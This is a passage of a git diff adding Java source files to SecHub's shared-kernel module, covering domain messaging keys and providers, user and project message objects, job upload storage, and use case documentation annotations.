MessageDataKey JOB_DONE_DATA = createJobMessageKey("job.done.data"); + /** + * Must contain job uuid,since + */ + public static final MessageDataKey JOB_FAILED_DATA = createJobMessageKey("job.failed.data"); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Helpers ..................................+ */ + /* +-----------------------------------------------------------------------+ */ + private static MessageDataKey createUserMessageKey(String id) { + return createKey(id, new UserMessageDataProvider()); + } + + private static MessageDataKey createProjectMessageKey(String id) { + return createKey(id, new ProjectMessageDataProvider()); + } + + private static MessageDataKey createJobMessageKey(String id) { + return createKey(id, new JobMessageDataProvider()); + } + + private static MessageDataKey createKey(String id, MessageDataProvider provider) { + return new MessageDataKey<>(id, provider); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageDataProvider.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageDataProvider.java new file mode 100644 index 0000000000..09b683e787 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageDataProvider.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +public interface MessageDataProvider { + + /** + * @param data + * @return object for data or null + */ + public T get(String data); + + /** + * + * @param object + * @return string describing object + */ + public String getString(T object); + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageID.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageID.java new file mode 100644 index 0000000000..9411157316 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageID.java @@ -0,0 +1,127 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.util.Collections; +import java.util.HashSet; +import java.util.Set; + +public enum MessageID { + START_SCAN, + + SCAN_DONE, + + SCAN_FAILED, + + /** + * This message will contain full data of an created user. + * Secure data will be only contained hashed. + * + */ + USER_CREATED(MessageDataKeys.USER_CREATION_DATA), + + /** + * This message will contain data for changes on user authorization. + * + */ + USER_API_TOKEN_CHANGED(MessageDataKeys.USER_API_TOKEN_DATA), + + /** + * Contains a link with one time token so user can create a new api token + */ + USER_NEW_API_TOKEN_REQUESTED(MessageDataKeys.USER_ONE_TIME_TOKEN_INFO), + + UNSUPPORTED_OPERATION, + + USER_ADDED_TO_PROJECT(MessageDataKeys.PROJECT_TO_USER_DATA), + + USER_REMOVED_FROM_PROJECT(MessageDataKeys.PROJECT_TO_USER_DATA), + + USER_ROLES_CHANGED(MessageDataKeys.USER_ROLES_DATA), + + USER_DELETED(MessageDataKeys.USER_DELETE_DATA), + + PROJECT_CREATED(MessageDataKeys.PROJECT_CREATION_DATA), + + PROJECT_WHITELIST_UPDATED(MessageDataKeys.PROJECT_WHITELIST_UPDATE_DATA), + + /** + * Used when a new batch job has been started + */ + JOB_STARTED(MessageDataKeys.JOB_STARTED_DATA), + + /** + * Used when job was executed correctly. Independent if the sechub job fails or not. The (batch) execution was successful, means no internal error occurred. + */ + JOB_DONE(MessageDataKeys.JOB_DONE_DATA), + + USER_SIGNUP_REQUESTED(MessageDataKeys.USER_SIGNUP_DATA), + + /** + * Used when a batch job execution itself fails (job batch itself) means an internal error occurred. + */ + JOB_FAILED(MessageDataKeys.JOB_FAILED_DATA), + + /** + * Used when an action can change user role situation. The administration layer will + * recalculate roles and - if needed -trigger a {@link #USER_ROLES_CHANGED} event + */ + REQUEST_USER_ROLE_RECALCULATION(MessageDataKeys.USER_ID_DATA), + + /** + * Used to inform about new user becomes super administrator + */ + USER_BECOMES_SUPERADMIN(MessageDataKeys.USER_CONTACT_DATA, MessageDataKeys.ENVIRONMENT_BASE_URL), + + /** + * Used to inform about user is no longer super administrator + */ + USER_NO_LONGER_SUPERADMIN(MessageDataKeys.USER_CONTACT_DATA), + + ; + + private Set> unmodifiableKeys; + + /** + * The keys defined here MUST be available inside the message. But there can be additional ones as well! + * @param keys + */ + private MessageID(MessageDataKey ... keys) { + Set> modifiableSet = new HashSet<>(); + if (keys!=null) { + for (MessageDataKey key: keys) { + if (key==null) { + continue; + } + modifiableSet.add(key); + } + } + this.unmodifiableKeys=Collections.unmodifiableSet(modifiableSet); + } + + public Set> getContainedKeys() { + return unmodifiableKeys; + } + + public String getId() { + return name(); + } + + static boolean isMessage(MessageID message, String id) { + if (message==null) { + return false; + } + if (id==null) { + return false; + } + return id.equals(message.getId()); + } + + public boolean isSupportedKey(MessageDataKey key) { + if (key==null) { + return false; + } + return unmodifiableKeys.contains(key); + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/ProjectMessage.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/ProjectMessage.java new file mode 100644 index 0000000000..fab5894da2 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/ProjectMessage.java @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.net.URI; +import java.util.LinkedHashSet; +import java.util.Set; + +import com.daimler.sechub.sharedkernel.MustBeKeptStable; +import com.daimler.sechub.sharedkernel.util.JSONable; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; + +/** + * This message data object contains all possible information about a project + * which can be interesting for messaging. BUT: It dependes on the + * {@link MessageID} which parts are set. + * + * @author Albert Tregnaghi + * + */ +@JsonIgnoreProperties(ignoreUnknown = true) // we do ignore to avoid problems from wrong configured values! +@MustBeKeptStable("This configuration is used by communication between (api) schedule domain and administration - and maybe others") +public class ProjectMessage implements JSONable { + + public static final ProjectMessage OBJECT = new ProjectMessage(); + + private Set whitelist = new LinkedHashSet<>(); + + private String projectId; + + @Override + public Class getJSONTargetClass() { + return ProjectMessage.class; + } + + public void setProjectId(String projectId) { + this.projectId = projectId; + } + public String getProjectId() { + return projectId; + } + + public void setWhitelist(Set whitelist) { + this.whitelist = whitelist; + } + + public Set getWhitelist() { + return whitelist; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/ProjectMessageDataProvider.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/ProjectMessageDataProvider.java new file mode 100644 index 0000000000..bfbc012e36 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/ProjectMessageDataProvider.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import com.daimler.sechub.sharedkernel.util.JSONConverterException; +import com.daimler.sechub.sharedkernel.util.SecHubRuntimeException; + +public class ProjectMessageDataProvider implements MessageDataProvider{ + + @Override + public ProjectMessage get(String data) { + if (data==null) { + return null; + } + try { + return ProjectMessage.OBJECT.fromJSON(data); + } catch (JSONConverterException e) { + throw new SecHubRuntimeException("Cannot convert", e); + } + + } + + @Override + public String getString(ProjectMessage configuration) { + if (configuration==null) { + return null; + } + try { + return configuration.toJSON(); + } catch (JSONConverterException e) { + throw new SecHubRuntimeException("Cannot convert", e); + } + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/SecHubConfigurationMessageDataProvider.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/SecHubConfigurationMessageDataProvider.java new file mode 100644 index 0000000000..4c9a1aa921 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/SecHubConfigurationMessageDataProvider.java @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.util.JSONConverterException; +import com.daimler.sechub.sharedkernel.util.SecHubRuntimeException; + +public class SecHubConfigurationMessageDataProvider implements MessageDataProvider{ + + @Override + public SecHubConfiguration get(String data) { + if (data==null) { + return null; + } + try { + return SecHubConfiguration.OBJECT.fromJSON(data); + } catch (JSONConverterException e) { + throw new SecHubRuntimeException("Cannot convert", e); + } + + } + + @Override + public String getString(SecHubConfiguration configuration) { + if (configuration==null) { + return null; + } + try { + return configuration.toJSON(); + } catch (JSONConverterException e) { + throw new SecHubRuntimeException("Cannot convert", e); + } + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/StringMessageDataProvider.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/StringMessageDataProvider.java new file mode 100644 index 0000000000..3c1968a1f6 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/StringMessageDataProvider.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +public class StringMessageDataProvider implements MessageDataProvider{ + + @Override + public String get(String data) { + if (data==null) { + return null; + } + return data; + } + + @Override + public String getString(String content) { + return content; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/SynchronMessageHandler.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/SynchronMessageHandler.java new file mode 100644 index 0000000000..3042ae98e1 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/SynchronMessageHandler.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +public interface SynchronMessageHandler { + + /** + * Handles synchronous message. Important: You must add handling methods with + * {@link IsRecevingSyncMessage} or {@link IsRecevingSyncMessages} otherwise the handler will not be called by + * internal framework! + * + * @param request + * @return + */ + public DomainMessageSynchronousResult receiveSynchronMessage(DomainMessage request); + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UUIDMessageDataProvider.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UUIDMessageDataProvider.java new file mode 100644 index 0000000000..11fc839ec9 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UUIDMessageDataProvider.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class UUIDMessageDataProvider implements MessageDataProvider{ + + private static final Logger LOG = LoggerFactory.getLogger(UUIDMessageDataProvider.class); + + + @Override + public UUID get(String uuidAsString) { + if (uuidAsString==null) { + return null; + } + try { + return UUID.fromString(uuidAsString); + } catch (IllegalArgumentException e) { + LOG.error("No UUID transformable because {} is not a valid UUID!", uuidAsString); + return null; + } + } + + @Override + public String getString(UUID uuid) { + if (uuid==null) { + return null; + } + return uuid.toString(); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UserMessage.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UserMessage.java new file mode 100644 index 0000000000..498be23a9b --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UserMessage.java @@ -0,0 +1,123 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.util.Arrays; +import java.util.List; +import java.util.Set; + +import com.daimler.sechub.sharedkernel.MustBeKeptStable; +import com.daimler.sechub.sharedkernel.util.JSONable; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; + +/** + * This message data object contains all possible information about an user + * which can be interesting for messaging. BUT: It dependes on the + * {@link MessageID} which parts are set. E.g. an API token change will only + * contain information about userid and new api token... but about roles etc. + * + * @author Albert Tregnaghi + * + */ +@JsonIgnoreProperties(ignoreUnknown = true) // we do ignore to avoid problems from wrong configured values! +@MustBeKeptStable("This configuration is used by communication between (api) authorization domain and administration - and maybe others") +public class UserMessage implements JSONable { + + public static final UserMessage OBJECT = new UserMessage(); + + private String emailAdress; + + private String userId; + + private String hashedApiToken; + + private Set roles; + + private String linkWithOneTimeToken; + + private List projectIds; + + private String subject; + + @Override + public Class getJSONTargetClass() { + return UserMessage.class; + } + + public String getUserId() { + return userId; + } + + public void setEmailAdress(String emailAdress) { + this.emailAdress = emailAdress; + } + + public List getProjectIds() { + return projectIds; + } + + public String getEmailAdress() { + return emailAdress; + } + + public void setUserId(String userId) { + this.userId = userId; + } + + /** + * @return first project id from {@link #getProjectIds()} or null + */ + public String getProjectId() { + if (projectIds==null) { + return null; + } + if (projectIds.isEmpty()) { + return null; + } + return projectIds.iterator().next(); + } + + public void setProjectId(String projectId) { + this.projectIds=Arrays.asList(projectId); + } + + public void setProjectIds(List projectIds) { + this.projectIds = projectIds; + } + + public String getHashedApiToken() { + return hashedApiToken; + } + + public void setLinkWithOneTimeToken(String linkWithOneTimeToken) { + this.linkWithOneTimeToken = linkWithOneTimeToken; + } + + public String getLinkWithOneTimeToken() { + return linkWithOneTimeToken; + } + + public void setHashedApiToken(String hashedApiToken) { + this.hashedApiToken = hashedApiToken; + } + + public Set getRoles() { + return roles; + } + + public void setRoles(Set roles) { + this.roles = roles; + } + + /** + * Set subject for the message. Will be used for example on emails as email subject. + * @param reason + */ + public void setSubject(String reason) { + this.subject=reason; + } + + public String getSubject() { + return subject; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UserMessageDataProvider.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UserMessageDataProvider.java new file mode 100644 index 0000000000..99b836b660 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UserMessageDataProvider.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import com.daimler.sechub.sharedkernel.util.JSONConverterException; +import com.daimler.sechub.sharedkernel.util.SecHubRuntimeException; + +public class UserMessageDataProvider implements MessageDataProvider{ + + @Override + public UserMessage get(String data) { + if (data==null) { + return null; + } + try { + return UserMessage.OBJECT.fromJSON(data); + } catch (JSONConverterException e) { + throw new SecHubRuntimeException("Cannot convert", e); + } + + } + + @Override + public String getString(UserMessage configuration) { + if (configuration==null) { + return null; + } + try { + return configuration.toJSON(); + } catch (JSONConverterException e) { + throw new SecHubRuntimeException("Cannot convert", e); + } + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/JobStorage.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/JobStorage.java new file mode 100644 index 0000000000..7a06d545b2 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/JobStorage.java @@ -0,0 +1,143 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.storage; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.io.IOException; +import java.io.InputStream; +import java.net.MalformedURLException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.io.Resource; +import org.springframework.core.io.UrlResource; +import org.springframework.util.FileSystemUtils; +import org.springframework.util.StringUtils; +import org.springframework.web.client.ResourceAccessException; +import org.springframework.web.multipart.MultipartFile; + +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.util.ZipSupport; + + +public class JobStorage { + + private ZipSupport zipSupport = ZipSupport.INSTANCE; + + private static final Logger LOG = LoggerFactory.getLogger(JobStorage.class); + private String projectId; + private UUID jobUUID; + private Path path; + + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + notNull(rootLocation, "rootlocation may not be null"); + notNull(projectId, "projectId may not be null"); + notNull(jobUUID, "jobUUID may not be null"); + + this.projectId=projectId; + this.jobUUID=jobUUID; + + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + } + + + public void store(String fileName, MultipartFile file) { + notNull(fileName, "fileName may not be null!"); + if (fileName.contains("..")) { + // This is a security check + throw new StorageException( + "Cannot store file with relative path outside current directory " + fileName); + } + + try { + if (file.isEmpty()) { + throw new StorageException("Failed to store empty file " + fileName); + } + + try { + Files.createDirectories(path); + } catch (IOException e) { + throw new StorageException("Could not initialize storage directory at:" + path, e); + } + String originFileName = StringUtils.cleanPath(file.getOriginalFilename()); + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + try (InputStream inputStream = file.getInputStream()) { + Path pathToFile = getPathToFile(fileName); + Files.copy(inputStream, pathToFile, StandardCopyOption.REPLACE_EXISTING); + LOG.debug("Stored:{} at {}", fileName, pathToFile); + } catch(ResourceAccessException e){ + LOG.debug("Uploaded file exceeds maximum file size limit." + e); + throw new NotAcceptableException("Provided file exceeds file limit."); + } + } catch (IOException e) { + throw new StorageException("Failed to store file " + fileName, e); + } + } + + private Path getPathToFile(String fileName) { + notNull(fileName, "fileName may not be null!"); + return this.path.resolve(fileName); + } + + public Path load(String filename) { + return path.resolve(filename); + } + + public Resource loadAsResource(String filename) { + try { + Path file = load(filename); + Resource resource = new UrlResource(file.toUri()); + if (resource.exists() || resource.isReadable()) { + return resource; + } else { + throw new StorageFileNotFoundException("Could not read file: " + filename); + + } + } catch (MalformedURLException e) { + throw new StorageFileNotFoundException("Could not read file: " + filename, e); + } + } + + public void deleteAll() { + if (! path.toFile().exists()) { + return; + } + try { + FileSystemUtils.deleteRecursively(path); + LOG.info("deleted all inside {}",path); + } catch (IOException e) { + throw new StorageException("Was not able to delete job storage",e); + } + } + + @Override + public String toString() { + return "JobStorage [projectId=" + projectId + ", jobUUID=" + jobUUID + + ", path=" + path + "]"; + } + /** + * Checks if the file inside the store (it must be uploaded ...) is a valid zip file + * @param fileName + * @return true when valid, false when not valid or not existing + */ + public boolean isValidZipFile(String fileName) { + Path filePath = getPathToFile(fileName); + return zipSupport.isZipFile(filePath); + } + + + public boolean isExisting(String fileName) { + return getPathToFile(fileName).toFile().exists(); + + } + + public String getAbsolutePath(String fileName) { + return getPathToFile(fileName).toFile().getAbsolutePath(); + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/SharedVolumePropertiesSetup.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/SharedVolumePropertiesSetup.java new file mode 100644 index 0000000000..bbee46d7a9 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/SharedVolumePropertiesSetup.java @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.storage; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +@Component +public class SharedVolumePropertiesSetup implements SharedVolumeSetup { + + + private static final Logger LOG = LoggerFactory.getLogger(SharedVolumePropertiesSetup.class); + + /** + * Folder location for storing files. When using "temp" a temporary folder on server side will be used + */ + @MustBeDocumented(value="Defines the root path for shared volume uploads - e.g. for sourcecode.zip etc.") + @Value("${sechub.storage.sharedvolume.upload.dir}")// we set explicit NO default value here, so must be defined + private String propertiesUploadDir; + + private String uploadDir; + + public String getUploadDir() { + if (uploadDir==null) { + /* create lazy so only temp folders created for tests where really necessary */ + uploadDir = createUploadDir(); + LOG.info("Upload directory set to:{}",uploadDir); + } + return uploadDir; + } + + + private String createUploadDir() { + if (propertiesUploadDir!=null && ! propertiesUploadDir.startsWith("temp")) { + return propertiesUploadDir; + } + try { + Path rootPath = Files.createTempDirectory("sechub-integration-test"); + Path uploadPath = rootPath.resolve("upload"); + Files.createDirectories(uploadPath); + uploadPath.toFile().deleteOnExit(); + LOG.info("Temporary upload dir for tests is at:{}",uploadPath); + return uploadPath.toFile().getAbsolutePath(); + + } catch (IOException e) { + throw new StorageException("Was not able to create temporary upload dir", e); + } + } + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/SharedVolumeSetup.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/SharedVolumeSetup.java new file mode 100644 index 0000000000..6890f4cebd --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/SharedVolumeSetup.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.storage; + +public interface SharedVolumeSetup { + + String getUploadDir(); + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java new file mode 100644 index 0000000000..8ab429c9ad --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.storage; + +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.UUID; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +@Service +public class SharedVolumeStorageService implements StorageService { + + private final Path rootLocation; + + @Autowired + public SharedVolumeStorageService(SharedVolumeSetup properties) { + this.rootLocation = Paths.get(properties.getUploadDir()); + } + + @Override + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + return new JobStorage(rootLocation, projectId,jobUUID); + } + + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/StorageException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/StorageException.java new file mode 100644 index 0000000000..97f7fa2448 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/StorageException.java @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.storage; +public class StorageException extends RuntimeException { + + private static final long serialVersionUID = 4711156650442491478L; + + public StorageException(String message) { + super(message); + } + + public StorageException(String message, Throwable cause) { + super(message, cause); + } +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/StorageFileNotFoundException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/StorageFileNotFoundException.java new file mode 100644 index 0000000000..33a405cf87 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/StorageFileNotFoundException.java @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.storage; +public class StorageFileNotFoundException extends StorageException { + + private static final long serialVersionUID = -8773166342983291310L; + + public StorageFileNotFoundException(String message) { + super(message); + } + + public StorageFileNotFoundException(String message, Throwable cause) { + super(message, cause); + } +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/StorageService.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/StorageService.java new file mode 100644 index 0000000000..b4bdeda4f1 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/storage/StorageService.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.storage; +import java.util.UUID; + +public interface StorageService { + + public JobStorage getJobStorage(String projectId, UUID jobUUID); + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/type/TrafficLight.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/type/TrafficLight.java new file mode 100644 index 0000000000..c5d9237634 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/type/TrafficLight.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.type; + +/** + * A simple type representing "GREEN", "YELLOW", "RED" + * + * @author Albert Tregnaghi + * + */ +public enum TrafficLight { + + GREEN, + + YELLOW, + + RED; + + /** + * Tries to identify traffic light from string. + * + * @param trafficLightString + * @return {@link TrafficLight} or null if not matching + */ + public static TrafficLight fromString(String trafficLightString) { + if (trafficLightString == null) { + return null; + } + for (TrafficLight light : values()) { + if (light.name().equals(trafficLightString)) { + return light; + } + } + return null; + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseDefinition.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseDefinition.java new file mode 100644 index 0000000000..964bd9cb6e --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseDefinition.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import javax.annotation.security.RolesAllowed; + +import com.daimler.sechub.sharedkernel.Step; + +/** + * Is used by Asciidoc generator to automatically generate documentation about use cases.

    + *

    How to use ?

    + * Create another annotation e.g. UseCaseCreateUser and annotate UseCaseCreateUser annotation with UseCaseDefinition. + * Also define in UseCaseCreateUser a {@link Step} as value() without any default. + * + *

    When a {@link RolesAllowed} annotation is also on target methods (e.g. method has UseCaseCreateUser and also RolesAllowed("MyAdmin") + * the role information will be used in generation as well! + * + *

    + *

    Important about use cases

    Usecase annotatinos annotated with this annotation, should always have itself only @Target with {@link ElementType#METHOD}! + * @author Albert Tregnaghi + * + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.ANNOTATION_TYPE) +public @interface UseCaseDefinition{ + + /** + * An unique identifier. This identifier will also be used for title + also for sorting! + * @return + */ + UseCaseIdentifier id(); + + /** + * A description what the usecase is for. Should be done in asciidoctor syntax. + * If the descriptions ends with ".adoc" its assumed that this is a file name instead! + *

    + * For example:
    description="user/createUser.adoc"
    will be tried by asciidoctor + * generator as an include of this file instead of just inserting it! The path will be relative to a dedicated + * usecase base folder where all usecase asciidoc files are defined. + * @return description text or filename + */ + String description(); + + /** + * A short use case title + * @return + */ + String title(); + + /** + * A group of this use case is related to + * @return + */ + UseCaseGroup[] group(); + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseGroup.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseGroup.java new file mode 100644 index 0000000000..d543c8bf76 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseGroup.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases; + +public enum UseCaseGroup { + + ANONYMOUS("Anonymous","All these usecases handling anonymous access."), + + USER_ADMINISTRATION("User administration","Usecases handling administration of users"), + + PROJECT_ADMINISTRATION("Project administration","Usecases for project administration"), + + USER_PROFILE("User profile","User actions belonging to their profiles"), + + SECHUB_EXECUTION("Sechub execution","Execution of sechub -either by CLI or direct with REST api call"), + + SIGN_UP("Sign up","All these usecases are handling user sign up (part of user self registration process)"), + + JOB_ADMINISTRATION("Job administration", "Usecases about job administration"), + + TECHNICAL("Technical", "Usecases about technical operations being executed by sechub itself"), + + OTHER("Other","All other use cases"), + + ; + + private String description; + private String title; + + private UseCaseGroup(String title, String description) { + this.description = description; + this.title=title; + } + public String getTitle() { + return title; + } + public String getDescription() { + return description; + } +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseIdentifier.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseIdentifier.java new file mode 100644 index 0000000000..d7c85041d4 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/UseCaseIdentifier.java @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases; + +/** + * Identifier enumeration for use cases.
    + *
    + * The ordering of the enums is the ordering used for uniqueId + * calculation! Calculated ID will be used in documentation to order content. + * It also is important when comparing different versions of a documentation.
    + * For an example:
    + * When adding new use cases the + *
